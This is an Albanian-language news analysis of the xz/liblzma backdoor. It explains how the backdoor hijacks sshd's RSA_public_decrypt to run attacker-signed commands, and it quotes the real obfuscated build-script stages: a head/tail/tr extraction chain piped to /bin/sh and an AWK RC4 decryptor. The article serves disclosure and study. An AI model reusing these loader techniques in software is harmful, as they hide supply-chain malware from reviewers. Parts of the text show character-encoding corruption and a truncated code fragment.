Disponohen rezultatet paraprak të inxhinierisë së kundërt për skedarin e dëmshëm të objektit, i integruar në liblzma si rezultat i një fushate për promovimin e backdoor-it në paketën xz. Backdoor-i ndikon vetëm në sistemet x86_64 të bazuara në bërthamën Linux dhe bibliotekën C Glibc, ku për sshd aplikohet një patch shtesë, i cili realizon lidhjen me bibliotekën libsystemd për të mbështetur mekanizmin sd_notify. Fillimisht supozohej se backdoor-i lejonte kalimin e autentikimit në sshd dhe qasjen në sistem përmes SSH. Një analizë më e detajuar tregoi se kjo nuk është e vërtetë dhe backdoor-i ofron mundësinë për të ekzekutuar kod të rastësishëm në sistem, pa lënë gjurmë në log-et e sshd.
Konkretisht, funksioni RSA_public_decrypt i kapur nga backdoor-i kontrollon nĂ«nshkrimin e hostit, duke pĂ«rdorur njĂ« çelĂ«s tĂ« ngurtĂ«suar Ed448, dhe nĂ« rastin e njĂ« verifikimi tĂ« suksesshĂ«m, ekzekuton kodin e dhĂ«nĂ« nga njĂ« host i jashtĂ«m duke pĂ«rdorur funksionin system() nĂ« fazĂ«n para ndalimit tĂ« privilegjeve nga procesi sshd. TĂ« dhĂ«nat, tĂ« cilat pĂ«rmbajnĂ« kod pĂ«r ekzekutim, nxirren nga parametri âNâ, i dhĂ«nĂ« nĂ« funksionin RSA_public_decrypt (fusha ânâ nga struktura rsa_st, e cila pĂ«rmban çelĂ«sin publik tĂ« pĂ«rçarĂ« nga hosti i jashtĂ«m), kontrollohen me njĂ« checksum dhe dekriptohen duke pĂ«rdorur njĂ« çelĂ«s tĂ« pĂ«rcaktuar mĂ« parĂ« ChaCha20 nĂ« fazĂ«n para verifikimit tĂ« nĂ«nshkrimit digjital Ed448.
Si një shenjë për aktivizimin e backdoor-it në sshd përdoret mekanizmi standard i ndarjes së çelësave të hosteve. Backdoor-i shfrytëzon faktin se certifikatat OpenSSH përfshijnë çelësin publik të personit që ka formuar nënshkrimin dhe reagon vetëm ndaj çelësit të përgatitur nga sulmuesi dhe përputhet me një çelës të ngurtësuar Ed448. Nëse verifikimi i nënshkrimit për çelësin publik dështon ose nëse integriteti i të dhënave për ekzekutim nuk konfirmohet, backdoor-i kthen kontrollin në funksionet standarde të SSH.
Pasi çelësi privat i sulmuesit është i panjohur, nuk është e mundur të realizohet një kod verifikimi që do lejonte të tjerët të aktivizojnë backdoor-in dhe të realizonin një skaner për hostet e komprometuar në rrjet. Hulumtuesit kanë përgatitur një skriptë, e cila demonstron teknikën e zëvendësimit të çelësit publik me përmbajtje të rastësishme në certifikatat e OpenSSH të transmetuara nga SSH klientët, të cilat do të trajtohen në funksionin e kapur nga backdoor-i RSA_public_decrypt.
Hulumt e rinj e vunë re se kishte një strukturë që neutralizonte backdoor-in (killswitch) në sistemin lokal me prezencën e variablës mjedisore "yolAbejyiejuvnup=Evjtgvsh5okmkAvj" para se të ishte nisur sshd.
Gjithashtu, mund tĂ« theksohet analiza e detajuar e konstrukcioneve shell, tĂ« pĂ«rdorura pĂ«r tĂ« komplikur procesin e nxjerrjes sĂ« skedarĂ«ve objektivĂ« me backdoor-in dhe zĂ«vendĂ«simin e tij nĂ« bibliotekĂ«n liblzma. GjatĂ« ndĂ«rtimit tĂ« paketĂ«s xz nga skripti build-to-host.m4, u aktivizua njĂ« kod qĂ« gjente midis skedarĂ«ve testues arkivin bad-3-corrupt_lzma2.xz, e zĂ«vendĂ«sonte disa simbole, e shndĂ«rronte atĂ« nĂ« njĂ« arkiv tĂ« paprekur dhe e nxirrte nga ai skriptin shell. gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir\/ 2>\/dev\/null` ⊠gl_[$1]_config=âsed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>\/dev\/nullâ gl_path_map=âtr "\t \-_» » \t_\-â
Skripti shell i marrĂ« nxirrte me copa nga pĂ«rmbajtja e arkivit good-large_compressed.lzma njĂ« tjetĂ«r skript shell, duke kaluar sekonda tĂ« caktuara me komandat head dhe tail, dhe duke zĂ«vendĂ«suar simbole me komandĂ«n tr. ####Hello#### # disa byte binarĂ« kĂ«tu, por siç Ă«shtĂ« njĂ« koment ata injorohen [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir=»..\/..\/$srcdir» fi export i=»((head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +939)»;(xz -dc $srcdir\/tests\/files\/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw âlzma1 -dc|\/bin\/sh ####World####
Si rezultati u formua një skenar shell mjaft të komplikuar dhe voluminoz, i cili nxjerr përshtypjen e dosjes me backdoor nga arkivi good-large_compressed.lzma, e dekripton atë dhe e integron në liblzma. Mes të tjerash, skenari kishte implementimin e mekanizmit të plug-inëve, i cili lejonte më vonë ofrimin e komponenteve ekzekutues duke vendosur arkiva testuese të reja, pa ndryshuar good-large_compressed.lzma dhe bad-3-corrupt_lzma2.xz, duke përdorur kërkimin sipas nënshkrimit. Në kod ishte përdorur gjithashtu një dekriptor bazuar në algoritmin RC4, i implementuar në gjuhën AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
Burimi: opennet.ru
